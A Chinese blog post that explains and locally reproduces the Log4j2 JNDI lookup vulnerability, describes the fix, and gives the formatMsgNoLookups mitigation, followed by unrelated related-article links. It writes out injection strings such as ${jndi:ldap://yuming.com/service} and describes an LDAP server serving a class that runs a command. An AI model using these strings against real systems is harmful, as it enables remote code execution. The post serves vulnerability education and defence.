Log4j2 Jndi 漏洞原理解析、复盘
“ 2021-12-10一个值得所有研发纪念的日子。”
一波操作猛如虎,下班到了凌晨2点25。
基础组件的重要性,在此次的Log4j2漏洞上反应的淋漓尽致,各种“核弹级漏洞”、“超高危” 等词汇看的我瑟瑟发抖,那么问题真的有那么严重吗?这个让大家普遍加班搞到凌晨的漏洞,到底是什么问题?
01
—
漏洞解析、复现
Log4j2的框架设计非常优秀,各种功能均是以内部插件的方式进行的扩展实现,比如我们经常在Xml中定义的<Appenders>,实际对应的则是如下的AppendersPlugin对象
而我们在Xml Appenders下所定义的<Console>实际对应的则是如下的ConsoleAppender对象
看到这里应该就知晓了,我们在配置文件中所配置的各种元素实际上对应的均是Log4j2中的各种插件对象,Xml在被解析过程当中,会将你所配置的各种元素名称实例化为对应的插件对象,然后与你所配置的Logger进行关联。
Console,RollingFile 等则是我们一般情况下常用的插件,而此次出现重大漏洞问题的则是一个相对不太常用的插件,名叫:JndiLookup 呐,就是下面这个
此时则会有一个疑问,这个插件?没见过?不熟悉?使用频率不高吧?
按照道理来说的确是这样,一个使用频率不高的插件,就算有漏洞,也很难会去触发到。
但偏偏这个插件被人为使用的频率较低,但代码触发到的频率很高,高到你代码中每次触发info,warn,error 等日志写入的时候,都会去校验一下是否执行Lookup的逻辑。也就是基于此,这样一个小的插件由于和日志的写入逻辑有所关联,就导致了漏洞触发的可能性成倍的增加。
Lookup插件在Log4j2的使用场景上是为了获取配置而使用的,如Log4j2框架中所包含的JavaLookup插件,表示当你要在Log4j2框架中获取Java的配置信息时,则会调度执行该JavaLookup来返回对应的Java配置信息,如下所示:
error代码中直接填写:${java.version} 则最终会返回对应的Java版本信息
同理Log4j2中还封装的有DockerLookup,KubernetesLookup等,当你要在服务中获取Docker的元数据信息时,则最终会被Log4j2框架调度执行到DockerLookup方法中,由DockerLookup来执行具体的交互并返回对应的数据。
那么此时再来去看JndiLookup则一目了然了,没错,JndiLookup只是Log4j2框架中各种Lookup的其中一个,其作用则是通过Jndi规范去获取对应的配置信息时使用。
此时我们来验证一下JndiLookup的漏洞,如下所示:
各大安全厂商在发布漏洞验证报告时的截图均是以$Jndi 打开本地计算器为例,以此表示Jndi存在严重的安全隐患,所以此处本人也是直接以此为例来进行验证。
当我启动main方法后可以发现 ${jndi:ldap://127.0.0.1:1389/badClassName} 这段代码最终打开了本地的一个计算器程序,漏洞验证成功。
原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
实际上想要本地复现这个漏洞是并不简单的,所以为了后续可以更快速的理解,我们此处则需要重复几个概念:
1、jndi 全名 Java Naming and Directory Interface,是用于目录服务的Java API,它允许Java客户端通过名称发现查找数据和资源(以Java对象的形式)。
2、触发Lookup插件的场景是使用:${},如上述的${java:version} 表示使用JavaLookup插件,传入值为version然后返回对应的结果,而此处的${jndi:ldap://ip:port} 则同理表示调用JndiLookup传入值为 ldap://ip:port 。
3、jndi是目录接口,所以JndiLookup中则是各种目录接口的实现集合,如下图所示可以发现JndiLookup中可直接调用的具体实现类有很多,其中就包括LdapURLContext
OK,了解了上述的概念,我们就可以继续开始了。
原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
首先我们当前的注入方式是${jndi:ldap://127.0.0.1:1389/badClassName} 也就是让Log4j2框架执行error时,触发JndiLookup,然后调用JndiLookup的ldap协议,以此达到注入的效果。
那么在此之前,我们需要做的第一件事是先搭建一个ldap协议的服务端,只有这样才能做到Log4j2触发ldap协议时,可以成功访问你当前本地的1389端口,核心代码如下所示:
首先定义一个ldap协议的Server
第二步通过asm框架字节码的方式生成一个class类,class类主要内容便是执行Runtime.getRuntime.exec("calc.exe") 也就是该class类一旦被执行则会立即调用本地的计算器服务。
第三步则是ldap协议被访问后,则将当前的class类作为byte流输出为对应的响应结果
此时我们的服务端则搭建完成。
而对于客户端而言,则更加简单,仅需要引用对应的log4j-core的漏洞版即可,当前所引入的为2.14.1的版本。
启动测试,结果则如下所示:
此时身为好奇Boy的你可能仍然会有疑问:
1、jndi加载后的class字节流是在何时被实例化为对象的。
2、既然如此,Log4j2官方又是如何修复的?
原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
02
—
疑问、复盘
针对jndi的问题,先做下相关说明:首先jndi本身并不是Log4j2框架的产物,而是Jdk自身的功能,对应的包路径为com.sun.jndi 。
jndi 在jdk中的定位是目录服务应用程序接口,目录服务可以想象为一个树,而java中常用的目录服务协议则是rmi和ldap,ldap本身就是一套常用的目录访问协议,一般我们windows常用的AD域也都是基于ldap协议的,而jndi的作用则是通过目录协议如ldap根据对应的目录名,去查找对应服务端的对象,并把该对象下载到客户端中来。
所以针对上述jndi:ldap的漏洞,其实这本身就不是问题,因为这本身就是jndi的功能,如果你的目录访问协议是可控的情况下,那么使用jndi则是安全的。
而Log4j2框架中JndiLookup使用到了Jndi的功能,但是对应的传参则较为随意,这就是一个很大的问题,如通过http的方式给业务服务传参数为:${jndi:ldap://yuming.com/service} ,而业务方服务又恰巧把该参数打到了日志中,这就会导致很大的漏洞,因为谁也无法保证注入的yuming.com/service返回的对象是什么,相当于是一个很大的后门,注入者可以通过此漏洞任意执行所有代码。
闭环了朋友们,文章最初所提到的这个漏洞真的有这么严重吗?看到这里想必也已经很清楚了,各种媒体所宣称的"核弹级",也是真的没什么毛病。
原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
此时所引出的第二个问题则是:Log4j2框架是如何修复的?
既然jndi的问题无法解决,那作为日志框架的“我”自然要从自身寻找问题,所以Log4j2框架本身的解决方案则是设置域名白名单,类白名单等操作,如果jndi:ldap对应的访问路径并非127.0.0.1同网段的服务等,则不会执行lookup() ,以此避免访问到外部的恶意服务上去。
Log4j2的代码修复记录如下:
老版本中关于JndiManager的代码是这样的,直接调用context.lookup(),context为jdk自身的jndi类
而修复后代码是这样的:在调用context.lookup()之前,做了较多的拦截操作,判断了对应的白名单类,以及host等操作
对于各公司内解决方案,实际上不见得一定要通过短时间内升级jar包的方式来解决,因为java体系内的各种log包的依赖,由于各种历史原因导致当前也是有点较为繁琐,如果想要短时间内更加无痛解决的情况下,直接在已有的项目下增加log4j2.formatMsgNoLookups=true,也可以完美解决该问题。
对应代码如下:配置该参数为true以后,会在对应的日志输出进行format格式化时,不再解析你当前日志中的 ${} 的代码块,造成的影响面则是服务代码中所有的 ${} 均不会再解析Lookup
当然,如果可以高效的推动各业务方升级则是最好的。
如果大家还有其他的奇门技巧来解决该问题,欢迎留言评论交流下你的解决方案。
对于想要学习并验证该漏洞的小伙伴,则需要麻烦你扫码以下公众号,并发送消息“ldap” 便可直接获取ldap协议服务端源代码。(卑微打工人,在线引流恰饭 /哭 ,感谢大家对原创的支持! )
本文已进行版权登记,版权归属陈咬金,抄袭必究。
原创声明:作者陈咬金、 原文地址:https://mp.weixin.qq.com/s/wHUv-lFXBUcPp0uIjvHSaw
Log4j2 Jndi 漏洞原理解析、复盘的更多相关文章
- Java反序列化漏洞原理解析(案例未完善后续补充)
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 java的反序列化 序列化就是将对象转换为流,利于储存和传输的格式 反序列化与序列化相反,将流转换为对象 例如:json序列化.XML序列 ...
- 爱加密Android APk 原理解析
转载请标明出处:http://blog.csdn.net/u011546655/article/details/45921025 爱加密Android APK加壳原理解析 一.什么是加壳? 加壳是在二 ...
- 打印机PCL漏洞原理分析
0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...
- CVE2016-8863libupnp缓冲区溢出漏洞原理分析及Poc
1.libupnp问题分析: (1)问题简述: 根据客户给出的报告,通过设备安装的libupnp软件版本来判断,存在缓冲区溢出漏洞:CVE-2016-8863. (2)漏洞原理分析: 该漏洞发生在up ...
- Android 上SuperUser获取ROOT权限原理解析
Android 上SuperUser获取ROOT权限原理解析 一. 概述 本文介绍了android中获取root权限的方法以及原理,让大家对android 玩家中常说的“越狱”有一个更深层次的认识. ...
- 微软 IIS HTTP.sys漏洞原理学习以及POC
零.MS15-034POC核心部分(参考巡风): socket.setdefaulttimeout(timeout) s = socket.socket(socket.AF_INET, socket. ...
- (转)Apache和Nginx运行原理解析
Apache和Nginx运行原理解析 原文:https://www.server110.com/nginx/201402/6543.html Web服务器 Web服务器也称为WWW(WORLD WID ...
- Spring IOC设计原理解析:本文乃学习整理参考而来
Spring IOC设计原理解析:本文乃学习整理参考而来 一. 什么是Ioc/DI? 二. Spring IOC体系结构 (1) BeanFactory (2) BeanDefinition 三. I ...
- 浅谈PHP反序列化漏洞原理
序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...
随机推荐
- 8大原则带你秒懂Happens-Before原则
摘要:在并发编程中,Happens-Before原则是我们必须要掌握的,今天我们就一起来详细聊聊并发编程中的Happens-Before原则. 本文分享自华为云社区<[高并发]一文秒懂Happe ...
- Modelsim仿真新手入门最详细教程
2021年11月15日 00 安装包/版本 我是提前在网上下好的(但这一点也给我的实验造成了"麻烦"),用的是Modelsim SE-64 2020.4版本的,学校实验室的似乎不同 ...
- Maven 依赖调解源码解析(四):传递依赖,第一声明者优先
本文是系列文章<Maven 源码解析:依赖调解是如何实现的?>第四篇,主要介绍依赖调解的第二条原则:传递依赖,第一声明者优先.请按顺序阅读其他系列文章,系列文章总目录参见:https:// ...
- [loj6734]图上的游戏
考虑原图是一条链的情况-- 思路:随机一个点$x$,将其所在段(边集)再划分为两段,重复此过程即可得到该链 实现上,(从左到右)维护每一段的左端点和边集,二分找到最后一个删除后$x$到根不连通的段,那 ...
- [bzoj3329]Xorque
首先将问题转化为2x^x=3x,那么相当于让x右移一位和原数的1不相交,即不含有相邻的1,第一个问题可以直接数位dp,第二个问题可以类似dp+矩乘优化即可 1 #include<bits/std ...
- 微信小程序的优点(水一篇)
- 快速的加载 - 更强大的能力 - 原生的体验 - 易用且安全的微信数据开放 - 高效和简单的开发 摘自微信官方文档 https://developers.weixin.qq.com/minipro ...
- ML2021 | (腾讯)PatrickStar:通过基于块的内存管理实现预训练模型的并行训练
前言 目前比较常见的并行训练是数据并行,这是基于模型能够在一个GPU上存储的前提,而当这个前提无法满足时,则需要将模型放在多个GPU上.现有的一些模型并行方案仍存在许多问题,本文提出了一种名为 ...
- Spring Cloud Gateway过滤器精确控制异常返回(实战,完全定制返回body)
欢迎访问我的GitHub 这里分类和汇总了欣宸的全部原创(含配套源码):https://github.com/zq2599/blog_demos 本篇概览 Spring Cloud Gateway应用 ...
- 在Winform框架的多文档界面中实现双击子窗口单独弹出或拖出及拽回的处理
在基于DevExpress的多文档窗口界面中,我们一般使用XtraTabbedMdiManager来管理多文档窗口的一些特性,如顶部菜单,页面的关闭按钮处理,以及一些特殊的设置,本篇随笔介绍这些特点, ...
- Atcoder Grand Contest 020 E - Encoding Subsets(记忆化搜索+复杂度分析)
Atcoder 题面传送门 & 洛谷题面传送门 首先先考虑如果没有什么子集的限制怎样计算方案数.明显就是一个区间 \(dp\),这个恰好一年前就做过类似的题目了.我们设 \(f_{l,r}\) ...